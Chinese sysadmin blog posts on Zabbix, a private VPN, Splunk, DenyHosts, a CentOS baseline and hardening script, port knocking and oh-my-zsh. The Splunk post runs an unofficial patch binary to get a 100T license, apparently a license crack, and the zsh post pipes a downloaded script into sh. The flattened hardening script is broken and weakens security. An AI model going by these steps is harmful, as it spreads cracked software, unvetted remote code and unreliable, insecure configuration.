/etc/zabbix/zabbix_agentd.conf | grep Server= cat /etc/zabbix/zabbix_agentd.conf | grep ServerActive= cat /etc/zabbix/zabbix_agentd.conf | grep Hostname=​​3、启动zabbix-agent相关服务并设置为开机自启动zabbix-agent需要在防火墙中放通10050端口firewall-cmd --permanent --zone=public --add-port=10050/tcp firewall-cmd --reload systemctl enable zabbix-agent systemctl start zabbix-agent systemctl status zabbix-agent tail -f /var/log/zabbix/zabbix_agentd.log​​4、ZabbixServer Web上添加主机​​​​5、验证Agent数据是否正常采集​​​​总结:本次部署主要使用 PostgreSQL12+TimescaleDB,安装配置比较多,对比MySQL数据库部署的方式,性能是否有大的提升,还需要后续进行测试和验证

利用蒲公英组建个人私有网络的简单教程

NUC11安装ESXi7.0U2虚拟化制作带有 Intel 2.5G网卡驱动的镜像来解决ESXi7.0U2安装时找不到板载有线网卡问题 参考这一篇解决https://soulteary.com/2021/06/22/nuc-notes-install-esxi7.html详细的步骤就不介绍了,见如下图片其中制作带有Intel 2.5G网卡驱动的镜像的Powershell关键命令.\ESXi-Customizer-PS-v2.6.0.ps1 -izip .\VMware-ESXi-7.0U2a-17867351-depot.zip -pkgDir D:\netdriver\黑群晖DSM5.2搭建使用XPEnoboot 5.2的ISO镜像安装 可以参考我之前的文章 ESXi6主机上安装部署黑群晖虚拟机详细的步骤就不介绍,截图如下​基本上的简易的网络拓扑如下1、黑群晖DSM5.22、CentOS7.9虚拟机3、Kali2021.02虚拟机4、其它虚拟机例如RockyLinux8.4以上是个人的设备环境准备的过程介绍,接下来说正题 利用蒲公英进行智能组网,组建个人私有网络1、CentOS7.9虚拟机上安装蒲公英访问端可以参考官方帮助文档https://service.oray.com/question/5063.html​安装命令如下wget "https://pgy.oray.com/dl/42/download?os=Redhat%20/%20CentOS%20Linux(X86_64)" -O PgyVisitor_CentOS_2.3.0_x86_64.rpm rpm -ivh PgyVisitor_CentOS_2.3.0_x86_64.rpmpgyvpn输入个人的贝锐官网oray账号与密码可以按照指令提示查看组成员信息,和设置信息 最后可以输入10退出访问端口界面2、Windows PC端安装与登录步骤简单就略过了 这时可以看到CentOS7.9的那台客户端在线​​​可以在CentOS7.9上测试与Windows PC主机的网络联通性  例如我这里nc -vz 172.16.2.99 3389或者通过私有网络IP连CentOS7.9虚拟机的SSH3、Docker版本客户端安装也就是在群晖上Docker方式安装蒲公英访问端 参考如下链接《蒲公英访问端Docker版使用教程》 https://service.oray.com/question/11655.html1)登录群晖web界面,套件中心安装Docker套件查找pgyvpn映像并下载​​2)群晖开启SSH3)登录群晖后台安装虚拟网卡驱动使用蒲公英访问端之前需要确保NAS已经安装虚拟网卡驱动,可以通过命令: lsmod |grep tun 来检查当前是否已经安装了虚拟网卡驱动, 若没有安装的话可以通过命令进行安装 insmod /lib/modules/tun.ko4)创建并启动容器docker run -d --net host --cap-add NET_ADMIN --env PGY_USERNAME=“此处填写贝锐帐号或UID” --env PGY_PASSWORD=“此处填写帐号密码” bestoray/pgyvpn docker exec -it 容器ID bash在蒲公英访问端容器内部,通过“pgyvpn”即可调出蒲公英的控制面板pgyvpn参考Linux系统运行蒲公英访问端的帮助文档https://service.oray.com/question/5063.html5)测试WindowsPC上使用私有IP地址访问群晖web界面以上就是利用蒲公英组建个人私有网络的过程4、总结蒲公英这套免费组网方式的特点1、可以实现低成本打造个人私有云,异地远程访问家庭NAS2、设备成本低,组网技术含量低,管理和维护难度低3、支持多平台访问Windows | Mac | Linux | Android | iOS多平台无缝连接​

CentOS7下部署Splunk Enterprise 8.0.5 Linux特别版

什么是SplunkSplunk 是机器数据的全文搜索引擎。 机器数据是指:设备和软件产生的日志数据、性能数据、网络数据包。这些数据都是一些非结构化的数据,我们可以统一将这些数据统一采集到splunk之后,splunk可以对这些数据进行索引、调查、监控、可视化等。使用 Splunk 可收集、索引和利用所有应用程序、服务器和设备生成的快速移动型计算机数据 。​​Splunk特点1、面向机器数据的全文搜索引擎;(使用搜索引擎的方式处理数据;支持海量级数据处理)2、准实时的日志处理平台;3、基于时间序列的索引器;4、大数据分析平台;一体化的平台:数据采集->存储->分析->可视化;5、通用的搜索引擎,不限数据源,不限数据格式;6、提供荣获专利的专用搜索语言SPL(Search Processing Language),语法上类似SQL语言7、Splunk Apps 提供更多功能(针对操作系统、思科网络设备,splunk都提供了专用的APP,接入数据源都可以看到直观的仪盘表。)下面介绍CentOS7.9 下安装部署Splunk8.0.5企业版1、下载splunk Linux RPM版安装包你需要注册一个splunk账号来下载 下载地址https://www.splunk.com/en_us/download/splunk-enterprise.html#tabs/linux​​​最新版本为Splunk Enterprise 8.2.1 这里我选择Older Releases 找到8.0.5的rpm安装包https://download.splunk.com/products/splunk/releases/8.0.5/linux/splunk-8.0.5-a1a6394cc5ae-linux-2.2、上传并安装SFTP方式上传​rpm -ivh rpm -ivh splunk-8.0.5-a1a6394cc5ae-linux-2.6-x86_64.rpm​​3、patch工具chmod 755 splunk-805-linux-patch-sysin.org.bin ./splunk-805-linux-patch-sysin.org.bin​​​4、启动splunkcd /opt/splunk/ ./splunk start按向导进行配置 ​​​​最后防火墙放开8000端口firewall-cmd --permanent --zone=public --add-port=8000/tcp firewall-cmd --reload​5、登录splunk​​可以看到集成 100T 许可6、导入文本型日志例如我导入某Linux服务器/var/log/secure系统安全日志 ​​​​​7、测试添加UDP syslog的日志数据​​8、搜索功能支持钻取搜索 ​​​​当然Splunk的功能相当强大,上面只是简单试用,后续再有机会再研究

CentOS7下使用DenyHosts阻止SSH暴力攻击

DenyHosts是Python语言写的一个程序,它会分析sshd的日志文件(/var/log/secure),当发现重复的攻击时就会记录IP到/etc/hosts.deny文件,从而达到自动屏IP的功能,以帮助阻止SSH 服务器攻击(也称为基于字典的攻击和暴力破解攻击)。当你的linux服务器暴露在互联网之中,该服务器将会遭到互联网上的扫描软件进行扫描,并试图猜测SSH登录口令。你会发现,每天会有多条SSH登录失败纪录。那些扫描工具将对你的服务器构成威胁,你必须设置复杂登录口令,并将尝试多次登录失败的IP给阻止掉,让其在一段时间内不能访问该服务器。用DenyHosts可以阻止试图猜测SSH登录口令,它会分析/var/log/secure等日志文件,当发现同一IP在进行多次SSH密码尝试时就会记录IP到/etc/hosts.deny文件,从而达到自动屏蔽该IP的目的。本文参考如下链接文章完成https://linoxide.com/install-denyhosts-centos-7/1、CentOS7下载并安装denyhosts尝试过使用EPEL源,yum search denyhosts未能找到denyhosts 建议如下链接地址进行手动下载安装http://mirror.neu.edu.cn/fedora-epel/7/x86_64/d/denyhosts-2.9-4.el7.noarch.rpm手动下载rpm,使用rpm -ivh安装wget http://mirror.neu.edu.cn/fedora-epel/7/x86_64/d/denyhosts-2.9-4.el7.noarch.rpm rpm -ivh denyhosts-2.9-4.el7.noarch.rpm查看denyhosts相关文件所在路径rpm -ql denyhosts查看denyhosts手册man denyhosts2、修改配置文件vim /etc/denyhosts.conf我们来看一下默认的配置文件grep -v "^#" /etc/denyhosts.conf | grep -v "^$" 具体配置文件的解释如下 ############ THESE SETTINGS ARE REQUIRED ############ SECURE_LOG = /var/log/secure #ssh 日志文件,它是根据这个文件来判断的。 HOSTS_DENY = /etc/hosts.deny #控制用户登陆的文件 PURGE_DENY = 4w #过多久后清除已经禁止的IP,其中w代表周,d代表天,h代表小时,s代表秒,m代表分钟 BLOCK_SERVICE = sshd #denyhosts所要阻止的服务名称 DENY_THRESHOLD_INVALID = 5 #允许无效用户登录失败的次数 DENY_THRESHOLD_VALID = 10 #允许普通用户登录失败的次数 DENY_THRESHOLD_ROOT = 1 #允许ROOT用户登录失败的次数 DENY_THRESHOLD_RESTRICTED = 1 #在失败次数后阻止每个主机登录尝试次数已超过此值。该值适用于只出现在 WORK_DIR/restricted-usernames 文件中的用户名。 WORK_DIR = /var/lib/denyhosts #denyhosts工作数据目录,将deny的host或ip记录到WORK_DIR中 ETC_DIR = /etc SUSPICIOUS_LOGIN_REPORT_ALLOWED_HOSTS=YES HOSTNAME_LOOKUP=NO #是否做域名反解 LOCK_FILE = /var/lock/subsys/denyhosts #将DenyHost启动的pid记录到LOCK_FILE中,已确保服务正确启动,防止同时启动多个服务 ############ THESE SETTINGS ARE OPTIONAL ############ ADMIN_EMAIL = root@localhost #设置管理员邮件地址 SMTP_HOST = localhost SMTP_PORT = 25 SMTP_FROM = DenyHosts <nobody@localhost> SMTP_SUBJECT = DenyHosts Report from $[HOSTNAME] ALLOWED_HOSTS_HOSTNAME_LOOKUP=NO AGE_RESET_VALID=5d #有效用户登录失败计数归零的时间 AGE_RESET_ROOT=25d #ROOT用户登录失败计数归零的时间 AGE_RESET_RESTRICTED=25d #用户的失败登录计数重置为0的时间 AGE_RESET_INVALID=10d #无效用户登录失败计数归零的时间 ######### THESE SETTINGS ARE SPECIFIC TO DAEMON MODE ########## DAEMON_LOG = /var/log/denyhosts #denyhost服务日志文件 DAEMON_SLEEP = 30s DAEMON_PURGE = 1h #该项与PURGE_DENY 设置成一样,也是清除hosts.deniedssh 用户的时间 ######### THESE SETTINGS ARE SPECIFIC TO ########## ######### DAEMON SYNCHRONIZATION ########## SYNC_UPLOAD = no SYNC_DOWNLOAD = no当然为了不影响正常SSH登录,建议的时间与次数配置如下[root@centos opt]# grep -v ^# /etc/denyhosts.conf | grep -v ^$ ############ THESE SETTINGS ARE REQUIRED ############ SECURE_LOG = /var/log/secure HOSTS_DENY = /etc/hosts.deny PURGE_DENY = 5m BLOCK_SERVICE = sshd DENY_THRESHOLD_INVALID = 8 DENY_THRESHOLD_VALID = 8 DENY_THRESHOLD_ROOT = 8 DENY_THRESHOLD_RESTRICTED = 8 WORK_DIR = /var/lib/denyhosts ETC_DIR = /etc SUSPICIOUS_LOGIN_REPORT_ALLOWED_HOSTS=YES HOSTNAME_LOOKUP=NO LOCK_FILE = /var/lock/subsys/denyhosts ############ THESE SETTINGS ARE OPTIONAL ############ ADMIN_EMAIL = root@localhost SMTP_HOST = localhost SMTP_PORT = 25 SMTP_FROM = DenyHosts <nobody@localhost> SMTP_SUBJECT = DenyHosts Report from $[HOSTNAME] ALLOWED_HOSTS_HOSTNAME_LOOKUP=NO AGE_RESET_VALID=3m AGE_RESET_ROOT=3m AGE_RESET_RESTRICTED=3m AGE_RESET_INVALID=3m ######### THESE SETTINGS ARE SPECIFIC TO DAEMON MODE ########## DAEMON_LOG = /var/log/denyhosts DAEMON_SLEEP =30s DAEMON_PURGE = 5m ######### THESE SETTINGS ARE SPECIFIC TO ########## ######### DAEMON SYNCHRONIZATION ########## SYNC_UPLOAD = no SYNC_DOWNLOAD = no3、启动denyhosts服务systemctl enable denyhosts systemctl start denyhosts4、测试SSH暴力破解登录​​​5、验证denyhosts阻断效果可以看到超过登录尝试阀值就会进行阻断​​6、查看denyhosts运行状态systemctl status denyhosts7、查看denyhosts日志tail -f /var/log/denyhosts​总结:当然也有其它方式阻止SSH暴力攻击,可以参考之前的历史文章使用pam_tally2锁定和解锁SSH失败的登录尝试CentOS7云主机部署Fail2ban阻断SSH暴力破解

腾讯云主机安全【等保三级】CentOS7安全基线检查策略

最近试用了一下腾讯云主机主机安全的基线检查功能​​​梳理了(Copy+C/Copy+V)一下腾讯云主机安全——【等保三级】CentOS7安全基线检查策略一、未通过项17项1. 确保配置了密码尝试失败的锁定处理建议 (处理时请先做备份) 编辑/etc/pam.d/password-auth 和/etc/pam.d/system-auth 文件,以符合本地站点策略:auth required pam_faillock.so preauth audit silent deny=5 unlock_time=900 auth [success=1 default=bad] pam_unix.so auth [default=die] pam_faillock.so authfail audit deny=5 unlock_time=900 auth sufficient pam_faillock.so authsucc audit deny=5 unlock_time=9002. 确保默认用户umask限制为027或更高处理建议 (处理时请先做备份)编辑/etc/bash.bashrc、/etc/profile和/etc/profile.d/*.sh文件(以及系统上支持的任何其他Shell的适当文件),并添加或编辑umask参数,如下所示:umask 027 备注(修复完后运行以下命令以确保是否已完全修复 grep "umask" /etc/bashrc grep "umask" /etc/profile grep "umask" /etc/profile.d/*.sh 如果umask 配置不为027的,需全部修改为027或更严格)3. 确保默认用户shell超时为900秒或更短处理建议 (处理时请先做备份) 编辑/etc/bashrc和/etc/profile文件(以及系统上支持的任何其他Shell的适当文件),并添加或编辑任何umask参数,如下所示:TMOUT=6004. 确保配置了bootloader配置的权限处理建议 (处理时请先做备份)运行以下命令来设置对grub配置的权限:# chown root:root /boot/grub2/grub.cfg # chmod og-rwx /boot/grub2/grub.cfg # chown root:root /boot/grub2/user.cfg # chmod og-rwx /boot/grub2/user.cfg5. 确保设置了引导程序密码处理建议 (处理时请先做备份)使用以下命令创建加密的密码grub2-setpassword:# grub2-setpassword Enter password: <password> Confirm password: <password>6. 确保核心转储受到限制处理建议 (处理时请先做备份)将以下行添加到/etc/security/limits.conf或/etc/security/limits.d/*文件中: * hard core 0 在/etc/sysctl.conf或/etc/sysctl.d/*文件中设置以下参数: fs.suid_dumpable = 0 运行以下命令来设置活动内核参数: # sysctl -w fs.suid_dumpable=07. 确保启用了地址空间布局随机化(ASLR)处理建议 (处理时请先做备份)在/etc/sysctl.conf或/etc/sysctl.d/*文件中设置以下参数: kernel.randomize_va_space = 2 运行以下命令来设置内核参数: # sysctl -w kernel.randomize_va_space=28. 确保审核日志不会自动删除处理建议 (处理时请先做备份) 在/etc/audit/auditd.conf中设置以下参数 :max_log_file_action = keep_logs9. 确保系统管理范围(sudoers)更改的收集处理建议 (处理时请先做备份) 将以下行添加到/etc/audit/rules.d/audit.rules和/etc/audit/audit.rules 文件中:-w /etc/sudoers -p wa -k scope -w /etc/sudoers.d/ -p wa -k scope 重启auditd:service auditd restart10. 确保收集了系统管理员操作(sudolog)处理建议 (处理时请先做备份) 将以下行添加到/etc/audit/rules.d/audit.rules和/etc/audit/audit.rules 文件中:-w /var/log/sudo.log -p wa -k actions 重启auditd:service auditd restart11. 确保审核配置是不变的处理建议 (处理时请先做备份)将以下行添加到/etc/audit/rules.d/audit.rules和/etc/audit/audit.rules 文件中: -e 2 重启auditd:service auditd restart12. 确保启用对在auditd之前启动的进程的审计处理建议 (处理时请先做备份) 编辑/etc/default/grub并将audit = 1添加到GRUB_CMDLINE_LINUX:GRUB_CMDLINE_LINUX="audit=1" 运行以下命令以更新grub2配置:# grub2-mkconfig -o /boot/grub2/grub.cfg13. 确保收集了修改用户/组信息的事件处理建议 (处理时请先做备份) 将以下行添加到/etc/audit/rules.d/audit.rules和/etc/audit/audit.rules 文件中:-w /etc/group -p wa -k identity -w /etc/passwd -p wa -k identity -w /etc/gshadow -p wa -k identity -w /etc/shadow -p wa -k identity -w /etc/security/opasswd -p wa -k identity 重启auditd:service auditd restart14. 确保收集了修改系统的强制访问控制的事件处理建议 (处理时请先做备份) 将以下行添加到/etc/audit/rules.d/audit.rules和/etc/audit/audit.rules 文件中:-w /etc/selinux/ -p wa -k MAC-policy -w /usr/share/selinux/ -p wa -k MAC-policy 重启auditd:service auditd restart15. 确保收集了登录和注销事件处理建议 (处理时请先做备份) 将以下行添加到/etc/audit/rules.d/audit.rules和/etc/audit/audit.rules 文件中:-w /var/log/lastlog -p wa -k logins -w /var/run/faillock/ -p wa -k logins 重启auditd:service auditd restart16. 确保收集了会话启动信息处理建议 (处理时请先做备份) 将以下行添加到/etc/audit/rules.d/audit.rules和/etc/audit/audit.rules 文件中:-w /var/run/utmp -p wa -k session -w /var/log/wtmp -p wa -k logins -w /var/log/btmp -p wa -k logins 重启auditd:service auditd restart17. 确保在审核日志已满时禁用系统处理建议 (处理时请先做备份) 该配置会在日志满后触发守护进程关闭系统(该配置有让系统关闭中断的风险,对于需要持续生产的环境不建议进行该项配置,对于日志记录及安全要求高的环境可进行该项配置) 在 /etc/audit/auditd.conf中设置以下参数:space_left_action = email action_mail_acct = root admin_space_left_action = halt二、已通过项15项1. 确保已配置SSH空闲超时间隔处理建议 (处理时请先做备份) 编辑/etc/ssh/sshd_config文件以设置参数:ClientAliveInterval 300 ClientAliveCountMax 02. 确保SSH MaxAuthTries设置为4或更低处理建议 (处理时请先做备份)编辑/etc/ssh/sshd_config文件以设置参数,如下所示:MaxAuthTries 43. 确保已禁用SSH空密码登录处理建议 (处理时请先做备份)编辑/etc/ssh/sshd_config文件以设置参数,如下所示:PermitEmptyPasswords no4. 确保单用户模式需要身份验证处理建议 (处理时请先做备份)编辑/usr/lib/systemd/system/rescue.service 及/usr/lib/systemd/system/emergency.service设置ExecStart ExecStart=-/bin/sh -c "/sbin/sulogin; /usr/bin/systemctl --fail --no-block default"5. 确保已启用XD/NX支持处理建议 (处理时请先做备份) 在32位系统上,安装具有PAE支持的内核,而在64位系统上则不需要安装:如有必要,请配置您的引导程序以加载新内核并重新引导系统。您可能需要在BIOS中启用NX或XD支持。关于如何启用NX/XD支持,详细指引请参考:https://access.redhat.com/solutions/29367416. 确保配置/etc/passwd的权限处理建议 (处理时请先做备份) 运行以下命令以设置/etc/passwd的权限:# chown root:root /etc/passwd # chmod 644 /etc/passwd7. 确保配置/etc/shadow的权限处理建议 (处理时请先做备份)运行以下命令以设置/etc/shadow的权限:# chown root:root /etc/shadow # chmod 000 /etc/shadow8. 确保配置/etc/group的权限处理建议 (处理时请先做备份)运行以下命令以设置/etc/group的权限:# chown root:root /etc/group # chmod 644 /etc/group9. 确保配置/etc/gshadow的权限处理建议 (处理时请先做备份) 运行以下chown以设置/etc/gshadow的权限:# chown root:root /etc/gshadow # chmod 000 /etc/gshadow10. 确保配置/etc/passwd-的权限处理建议 (处理时请先做备份)运行以下命令以设置/etc/passwd-的权限:# chown root:root /etc/passwd- # chmod u-x,go-rwx /etc/passwd-11. 确保配置/etc/shadow-的权限处理建议 (处理时请先做备份) 运行以下命令以设置/etc/shadow-的权限:# chown root:root /etc/shadow- # chmod 000 /etc/shadow-12. 确保配置/etc/group-的权限处理建议 (处理时请先做备份)运行以下命令以设置/etc/group-的权限:# chown root:root /etc/group- # chmod u-x,go-wx /etc/group-13. 确保配置/etc/gshadow-的权限处理建议 (处理时请先做备份)运行以下命令以设置/etc/gshadow-的权限:# chown root:root /etc/gshadow- # chmod 000 /etc/gshadow-14. 确保已配置审核日志存储大小处理建议 (处理时请先做备份)根据站点策略设置/etc/audit/auditd.conf参数:max_log_file = XX<MB>15. 确保已启用auditd服务处理建议 (处理时请先做备份)运行以下命令以启用auditd:#systemctl enable auditd​

CentOS7.9安全加固镜像制作流程梳理

CentOS7.9安全加固镜像制作流程梳理1、先准备一台CentOS7.9虚拟机准备虚拟机用于后面脚本的优化 ​​​确定好分区方案2、yum update更新先yum update 检查是否新的更新完成后再yum check-upate注意yum update 与yum upgrade的区别​是否删除原低版本内核的启动项 这个可以自行决定 3、YUM软件源配置YUM源及EPEL源设置4、常用软件包的安装例如vim lrzsz bash-completion net-tools wget git ​​当然也可以加入排查需要的一些工具包nmap htop nmon iftop ncdu nethogs tcpdump以上初始环境完成后,建议对该虚拟机做一下快照 因为下面编写安全加固脚本是一件很冗杂的事,需要初始环境作为沙盘来进行反复测试与验证加固脚本5、编写安全加固脚本脚本需要从诸如账号管理,口令策略,授权管理,服务管理,配置管理,网络管理,权限管理等多个角度提高CentOS Linux的安全性。例如SSH的一些安全加固项​​​​​​6、借助云厂商的基线检查自动化工具进行验证上传安全加固脚本并执行​​​​​​通过自动化基线检查不断完善加固脚本 脚本涉及加固项1)、/etc/pam.d/sshd 中加入pam_tally2.so 设置多次登录失败锁定2)、/etc/logrotate.conf中修改系统相关日志轮转及保留时间3)、历史命令添加时间戳格式4)、rsyslog日志转发到日志服务器5)、SELINUX关闭6)、umask值7)、登陆超时时间设置TMOUT等等,这里不详细列举了总之你能想到的加固项越全面越好,可以集思广益,不断来完善脚本我这边改写的脚本部分内容如下#!/usr/bin/env bash # Author: yuanfan # Date: 2021-07-03 #sec_system.sh 系统加固脚本 export PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin RGB_DANGER='\033[31;1m' RGB_WAIT='\033[37;2m' RGB_SUCCESS='\033[32m' RGB_WARNING='\033[33;1m' RGB_INFO='\033[36;1m' RGB_END='\033[0m' CHECK_CENTOS=$( cat /etc/redhat-release|sed -r 's/.* ([0-9]+)\..*/\1/' ) CHECK_RAM=$( cat /proc/meminfo | grep "MemTotal" | awk -F" " '{ram=$2/1000000}{printf("%.0f",ram)}' ) LOCK=/var/log/sec_centos7_record.log tool_info() { echo -e "=========================================================================================" echo -e " InitSec CentOS 7 Script " echo -e "=========================================================================================" check_root(){ if [[ $EUID -ne 0 ]]; then echo -e "${RGB_DANGER}This script must be run as root!${RGB_END}" exit 1 check_lock() { if [ ! -f "$LOCK" ];then touch $LOCK echo -e "${RGB_DANGER}Detects that the initialization is complete and does not need to be initialized any further!${RGB_END}" exit 1 check_os() { if [ "${CHECK_CENTOS}" != '7' ]; then echo -e "${RGB_DANGER}This script must be run in CentOS 7!${RGB_END}" exit 1 new_swap() { echo "============= swap =============" >> ${LOCK} 2>&1 if [ "${CHECK_RAM}" -le '2' ]; then echo -en "${RGB_WAIT}Configuring...${RGB_END}" dd if=/dev/zero of=/swapfile bs=1024 count=1048576 >> ${LOCK} 2>&1 chmod 600 /swapfile >> ${LOCK} 2>&1 mkswap /swapfile >> ${LOCK} 2>&1 swapon /swapfile >> ${LOCK} 2>&1 echo '/swapfile swap swap defaults 0 0' >> /etc/fstab echo '# Swap' >> /etc/sysctl.conf echo 'vm.swappiness = 10' >> /etc/sysctl.conf sysctl -p >> ${LOCK} 2>&1 sysctl -n vm.swappiness >> ${LOCK} 2>&1 echo -e "\r${RGB_SUCCESS}Configuration Success${RGB_END}" echo -e "${RGB_SUCCESS}Skip, no configuration needed${RGB_END}" open_bbr() { echo "============= bbr =============" >> ${LOCK} 2>&1 echo -en "${RGB_WAIT}Configuring...${RGB_END}" echo "# BBR" >> /etc/sysctl.conf echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf #echo "net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf sysctl -p >> ${LOCK} 2>&1 sysctl -n net.ipv4.tcp_congestion_control >> ${LOCK} 2>&1 lsmod | grep bbr >> ${LOCK} 2>&1 echo -e "\r${RGB_SUCCESS}Configuration Success${RGB_END}" disable_selinux() { echo "============= selinux =============" >> ${LOCK} 2>&1 echo -en "${RGB_WAIT}Configuring...${RGB_END}" setenforce 0 >> ${LOCK} 2>&1 sed -i 's/^SELINUX=.*$/SELINUX=disabled/' /etc/selinux/config echo -e "\r${RGB_SUCCESS}Configuration Success${RGB_END}" time_zone() { echo "============= time zone =============" >> ${LOCK} 2>&1 echo -en "${RGB_WAIT}Configuring...${RGB_END}" rm -rf /etc/localtime >> ${LOCK} 2>&1 ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime >> ${LOCK} 2>&1 ls -ln /etc/localtime >> ${LOCK} 2>&1 echo -e "\r${RGB_SUCCESS}Configuration Success${RGB_END}" custom_profile() { echo "============= custom profile =============" >> ${LOCK} 2>&1 echo -en "${RGB_WAIT}Configuring...${RGB_END}" cat > /etc/profile.d/history_command_record.sh << \EOF export HISTTIMEFORMAT="[%Y-%m-%d %H:%M:%S] [`who am i 2>/dev/null| awk '{print $NF}'|sed -e 's/[()]//g'`] " export PROMPT_COMMAND='\ if [ -z "$OLD_PWD" ];then export OLD_PWD=$PWD; if [ ! -z "$LAST_CMD" ] && [ "$(history 1)" != "$LAST_CMD" ]; then logger -t `whoami`_shell_cmd "[$OLD_PWD]$(history 1)"; export LAST_CMD="$(history 1)"; export OLD_PWD=$PWD;' export PATH=$PATH:$HISTTIMEFORMAT:$PROMPT_COMMAND cat > /etc/profile.d/centos7custom.sh << EOF PS1="\[\e[37;40m\][\[\e[32;40m\]\u\[\e[37;40m\]@\h \[\e[35;40m\]\W\[\e[0m\]]\\\\$ " GREP_OPTIONS="--color=auto" alias l='ls -AFhlt' alias grep='grep --color' alias egrep='egrep --color' alias fgrep='fgrep --color' export HISTTIMEFORMAT="%Y-%m-%d %H:%M:%S " cat /etc/profile.d/centos7custom.sh >> ${LOCK} 2>&1 echo -e "\r${RGB_SUCCESS}Configuration Success${RGB_END}" adjust_ulimit() { echo "============= adjust ulimit =============" >> ${LOCK} 2>&1 echo -en "${RGB_WAIT}Configuring...${RGB_END}" sed -i '/^# End of file/,$d' /etc/security/limits.conf cat >> /etc/security/limits.conf <<EOF # End of file * soft core unlimited * hard core unlimited * soft nproc 1000000 * hard nproc 1000000 * soft nofile 1000000 * hard nofile 1000000 root soft core unlimited root hard core unlimited root soft nproc 1000000 root hard nproc 1000000 root soft nofile 1000000 root hard nofile 1000000 cat /etc/security/limits.conf >> ${LOCK} 2>&1 echo -e "\r${RGB_SUCCESS}Configuration Success${RGB_END}" }7、清理操作在制作镜像前需要做一些清理1)清空历史命令及系统的一些日志echo > /root/.bash_histroyhistory -c/var/log/目录下系统日志进行清理如果是公有云平台,云厂商制作镜像时自动把这些操作包含进去2)删除相关基线检查自动化工具3)删除加固脚本等等清理操作,总之保证制作镜像前环境是干净的8、关闭虚拟机制作镜像关闭虚拟机制作镜像​​最后使用自定义镜像创建实例进行验证  如果要在生产环境中使用的话,还需要进行稳定性测试

腾讯云主机上部署端口敲门Knock服务

端口敲门简单介绍knock: A port-knocking implementation端口敲门(knock):个人觉得叫芝麻开门更形象,指的是自己的客户端设备向服务器IP发送一系列实现预定好的暗号,而服务器上需要安装相对应接收暗号的服务knockd,服务器在接收到正确的暗号后,会临时性的为敲门者(客户端)开一段时间的门并随后关上,敲门者(客户端)要在这段时间内登录成功并且保持连接,如果断了连接就要重新敲门。 客户端相当于访客,服务端knockd相当于门童,暗号对上后门童临时开门给访客放行,待访客进入后又关上门 这种方法可以作为一种安全隐藏手段项目官网地址http://www.zeroflux.org/projects/knockGitHub地址https://github.com/jvinet/knock具体原理可以参考 《鳥哥的 Linux 私房菜》中的链接http://linux.vbird.org/linux_security/knockd.php下面介绍在腾讯云主机上部署端口敲门Knock服务1、服务端安装knock-serverCentOS7操作系统的腾讯云轻量服务器一台用于本文的演示​​​配置EPEL源,可以在EPEL源中查找到knockyum search knockyum安装yum -y install knock-serverman knockd查看配置样例说明及语法手册2、配置sshd监听端口为了演示方便,我这里设置SSHD服务监听端口5522vi /etc/ssh/sshd_config 新增如下两行 ListenAddress 0.0.0.0:22 #新增SSHD服务监听端口5522 ListenAddress 0.0.0.0:5522​​​​3、修改/etc/knockd.conf配置文件vi /etc/knockd.conf [options] #UseSyslog Interface = eth0 LogFile = /var/log/knockd.log [opencloseSSH] sequence = 1122:tcp,2233:tcp,3344:tcp seq_timeout = 20 tcpflags = syn start_command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 5522 -j ACCEPT cmd_timeout = 60 stop_command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 5522 -j ACCEPT其中sequence      = 1122:tcp,2233:tcp,3344:tcp可以理解为暗号序列 [options]中Interface 指定相应的网卡名,如果不配置Interface则默认为eth04、启动knockd服务并设置成开机自启动systemctl enable knockd.service systemctl restart knockd.service​​查看knockd.log服务日志 tail -f /var/log/knockd.log5、云主机安全组规则配置我这里是腾讯云轻量服务器,操作系统为CentOS7​​​​​6、客户端配置及knock功能测试比如CentOS7主机,测试主机IP 192.168.31.521)、配置epel源后yum install方式安装knock​2)、先敲门knock -v HOST_IP 1122:tcp 2233:tcp 3344:tcp这时可以在腾讯云主机上tail -f /var/log/knockd.log可以看到Stage1->Stage2->Stage3阶段完成后,执行iptables命令,插入一条允许客户端IP访问5522端口的防火墙规则iptables -nvL | grep 5522 可以知道规则生效3)、然后再客户端SSH登录 4)、1分钟后自动删除防火墙规则 knockd服务在1分钟后会自动执行iptables命令,删除客户端IP访问5522端口的防火墙规则可以在/var/log/knockd.log中看到,所以客户端在敲门成功后,需要在这一分钟内登录成功 SSH登录成功后连接不断开就行,如果断了连接就要重新敲门knock当然1分钟(60S)你觉得太短,你可以在配置文件中调整cmd_timeout7、/etc/knockd.conf配置文件改用firewalldCentOS7默认使用的firewalld防火墙服务,其实这时可以用rich-rule来做 修改成如下配置文件vi /etc/knockd.conf [options] #UseSyslog Interface = eth0 LogFile = /var/log/knockd.log [opencloseSSH] sequence = 1122:tcp,2233:tcp,3344:tcp seq_timeout = 20 tcpflags = syn start_command = /usr/bin/firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="%IP%" port port="5522" protocol="tcp" accept';/usr/bin/firewall-cmd --reload cmd_timeout = 60 stop_command = /usr/bin/firewall-cmd --permanent --remove-rich-rule='rule family="ipv4" source address="%IP%" port port="5522" protocol="tcp" accept';/usr/bin/firewall-cmd --reload同样1分钟后自动删除防火墙规则 8、Tips1)、客户端可以使用&&命令knock -v HOST_IP:tcp 2233:tcp 3344:tcp && ssh [-p sshd_port] root@HOST_IP2)、Windows版本的knock客户端程序 knock也提供了Windows版本的knock客户端程序 ​

Mac下iTerm2+oh my zsh+powerlevel10k 配置与美化过程记录

Mac下iTerm2+oh my zsh+powerlevel10k 配置与美化过程记录我这里使用的是VMware Workstation15.5+MacOS 10.15虚拟机进行测试1、下载并安装iterm2https://iterm2.com/downloads/stable/iTerm2-3_4_6.zipiterm2与系统自带终端对比2、打开iterm2安装oh my zsh执行如下脚本进行安装sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"由于某种原因无法访问时,可以尝试shell中使用代理命令export https_proxy=http://127.0.0.1:XXXX http_proxy=http://127.0.0.1:XXXX all_proxy=socks5://1​​3、安装powerlevel10k主题cd ./.oh-my-zsh/themes git clone https://github.com/romkatv/powerlevel10k.git或者直接git clone --depth=1 https://github.com/romkatv/powerlevel10k.git $ZSH_CUSTOM/themes/powerlev​​​vi ~/.zshrc 设置如下内容 使用p10k主题 